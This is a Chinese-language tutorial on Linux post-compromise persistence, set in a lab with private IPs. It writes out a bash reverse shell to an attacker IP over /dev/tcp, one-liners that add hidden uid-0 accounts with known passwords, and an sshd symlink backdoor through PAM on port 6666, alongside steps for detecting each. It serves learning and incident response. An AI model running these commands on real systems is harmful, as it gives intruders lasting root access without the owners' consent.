Linux权限维持入门学习(上)

简介: Linux权限维持入门学习
+关注继续查看

目的


本文主要是学习linux下的权限维持的方法,本文因为写的时间很久了,文章有点乱。

本文仅对linux的权限维持做了非常微小的学习,文中会从攻和防的角度,在借助学习其它文章的前提下进行学习。

文章所有的操作都是网上已有的技术,仅供参考,如有错误,欢迎指正。


1. 环境准备


image

靶机ipcentos 10.50.0.16

运维管理机:centos 10.50.0.152

攻击机ipmac 10.30.3.49

首先使用运维机器对靶机进行管理:

image

此时w命令显示当前存在一个用户,显示sship为运维机器ip,一切正常,将用户切换到root,再看下连接信息:

image

此时运维机器和靶机进行正常的通讯。此时端口扫描看下:

image

靶机开放了22端口。

1.1 反弹shell

再使用bash命令反弹靶机到攻击机上,在攻击机上进行操作,然后在测试机器上进行检查,是否存在相应的痕迹:

bash -c 'exec bash -i &>/dev/tcp/10.30.3.49/888 <&1'

image

弹了shell之后,再将原来弹会话的机器的ssh断开,防止其干扰:

此时检测该机器是否有通讯:

netstat -ano

image

这边可以清晰的看到存在一个异常的ip通讯。


2. 权限维持方法


2.1 添加用户


这个操作先在反弹bash的攻击机上进行:先看下当前已有的历史命令,这是反弹回来的操作命令:image

也可以使用这个指令看下:

image

再看下当前的passwdshadow文件:

image


2.1.1 方法1


一句话添加root用户:

# 创建一个用户名为guest,密码为123456的root用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest -o -u 0 -g root -G root -s /bin/bash -d /home/guest

添加之后,从里面可看到当前多了一个guest的用户:

image

在这里看到shadow里面多了一个密码:

image

在这里一看就是被入侵了,此时运维可以直接删除。


2.1.2 方法2


ssh新建用户:
echo "system:adk6oNRwypFwA:0:0:eval_to_root:/root:/bin/bash" >> /etc/passwd
账号:system 密码:admin123

更多生成密码的方法:

https://blog.csdn.net/qq_44159028/article/details/124242529

imageimageimage

查询发现,当前在passwd中多了一个用户,但是在shadow里面是检测不到的,此时也会被发现:

image

此时在管理端是可以发现,新建了一个用户的文件夹,所以两种方法创建的用户都是非常容易被发现的:

image

2.2 建立sshd 软连接(容易被发现)

原理性的东西都来自:

https://zhuanlan.kanxue.com/article-16246.htm

2.2.1 利用条件

Linux软连接ssh后门需要ssh配置允许PAM认证才能使用。ssh配置中开启了PAM进行身份验证,查看是否使用PAM进行身份验证:

cat /etc/ssh/sshd_config | grep UsePAM

image

2.2.2 利用原理

pam_rootok.so 模块
pam_rootok.so 主要作用是使得uid为0的用户,即root用户可以直接通过认证而不需要输入密码。

cat etc/pam.d/su

image

1.PAM认证机制,若sshd服务中开启了PAM认证机制(默认开启),当程序执行时,PAM模块则会搜寻PAM相关设定文件,设定文件一般是在/etc/pam.d/。若关闭则会验证密码,无法建立软链接后门。
2.当我们通过特定的端口连接ssh后,应用在启动过程中就会去找到配置文件,如:我们的软链接文件为/tmp/su,那么应用就会找/etc/pam.d/su作为配置文件,那么则实现了无密登录。

2.2.3 使用方法

此时可以在靶机上建立一个软链接:

ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=6666;

软连接的路径不是绝对的,但是名称是绝对的,使用命令:

find /etc/pam.d|xargs grep "pam_rootok"

image

在反弹shell的机器上输入以上命令:

ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=6666;

imageimage

此时使用端口扫描工具看下:

image

6666端口是开启的,那如何连接呢?

ssh root@10.50.0.16 -p 6666

此时只需要输入任意用户名就可以直接连接,但是通过w选项可以看到当前是有一个root用户登录的:

image

2.2.4 应急方法

参考:

https://blog.csdn.net/weixin_40412037/article/details/117447832

第一步:查看服务器开放的端口号

netstat -anpt

image

当然,这个图里面问题很多,我们在这里只讨论软连接的情况。

发现开启有6666的异常端口,且名字为suroot@pts/,且su的PID 为17650

查看PID 17650所使用的程序为ssh

ll /proc/17650

image

相关文章
|
2天前
|
Linux 数据安全/隐私保护
(一)Linux命令行工具入门:掌握基础命令
Linux操作系统的命令行界面是系统管理员和开发人员的得力工具。掌握基础的Linux命令是使用Linux系统的第一步。本文将向您介绍一些最基础、最常用的Linux命令,使您能够在命令行界面自如地操作文件、目录,以及执行各种任务。
19 0
|
2天前
|
Shell Linux 数据安全/隐私保护
Linux Shell入门:掌握基本命令和脚本编写
Linux Shell是Linux操作系统中的命令解释器,允许用户通过命令行界面与操作系统进行交互。掌握Shell基础是成为Linux系统管理员或开发人员的关键。本文将介绍Linux Shell的基本知识,包括常用命令和简单脚本编写。
15 0
|
9天前
|
监控 JavaScript 前端开发
linux入门练级篇 第三讲 基本指令3
linux入门练级篇 第三讲 基本指令3
26 0
|
9天前
|
Linux C语言
linux入门练级篇 第二讲 基本指令2
linux入门练级篇 第二讲 基本指令2
26 0
|
20天前
|
Linux 数据安全/隐私保护
Linux指令入门-文件管理
本教程介绍Linux系统中常用的磁盘管理命令。
30 0
|
21天前
|
弹性计算 缓存 监控
Linux指令入门-系统管理
本场景将介绍Linux中常用的系统工作命令以及系统状态检测命令
79 0
|
21天前
|
弹性计算 Linux Shell
Linux指令入门-文件与权限
本教程介绍Linux系统中常用的文件目录管理和文件权限管理命令。
43 0
|
21天前
|
传感器 Linux 芯片
嵌入式Linux系列第20篇:驱动编写入门
嵌入式Linux系列第20篇:驱动编写入门
|
26天前
|
NoSQL Linux
Linux系统调试篇——GDB调试入门
Linux系统调试篇——GDB调试入门
|
2月前
|
Linux 程序员
Linux驱动入门(6.2)按键驱动和LED驱动 --- 将逻辑电平与物理电平分离
Linux驱动入门(6.2)按键驱动和LED驱动 --- 将逻辑电平与物理电平分离
25 0
相关产品
云迁移中心
推荐文章
更多